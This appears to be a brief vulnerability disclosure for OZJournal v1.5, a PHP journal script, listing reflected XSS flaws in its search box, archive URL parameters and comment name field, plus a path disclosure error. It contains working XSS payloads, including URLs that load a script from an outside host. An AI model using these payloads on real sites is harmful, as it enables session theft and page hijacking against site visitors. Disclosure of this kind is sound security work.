OZJournal15.txt

`OZJournal v1.5  
  
Homepage:  
http://ozjournals.awardspace.com/index.php  
  
Affected files:  
search input box  
index.php  
viewing archives  
show comment page  
----------------------------------------  
  
XSS vulnerability via search input box:  
  
Data isn't properly sanatized before being displayed. For a PoC in the search input box put: <script>alert('Hello')</script>. A full path disclosure error also will occur with this example due to functions.php.  
  
Warning: preg_match(): Unknown modifier 'c' in /home/www/site/functions.php on line 570  
  
--------------------------------  
  
XSS vuln viewing archives by month via m variable.  
  
PoC:  
  
http://example.com/index.php?show=archives&y=2006&m=<script%20src=http://www.youfucktard.com/xss.js></script>  
  
XSS vuln viewing archives by category via c variable:  
  
http://example.com/index.php?show=archives&c=http://ozjournals.awardspace.com/index.php?show=archives&c=<script%20src=http://www.youfucktard.com/xss.js></script>  
-------------------------------------  
  
XSS vuln after submitting a comment.  
  
Data in the input name box isn't sanatized on the show post comments screen after submitting a comment.   
  
However, when displaying comments in the journal everything is properly sanatized and filtered. For a PoC   
  
in the name input box put:   
  
<script>alert('Hello')</script>  
  
`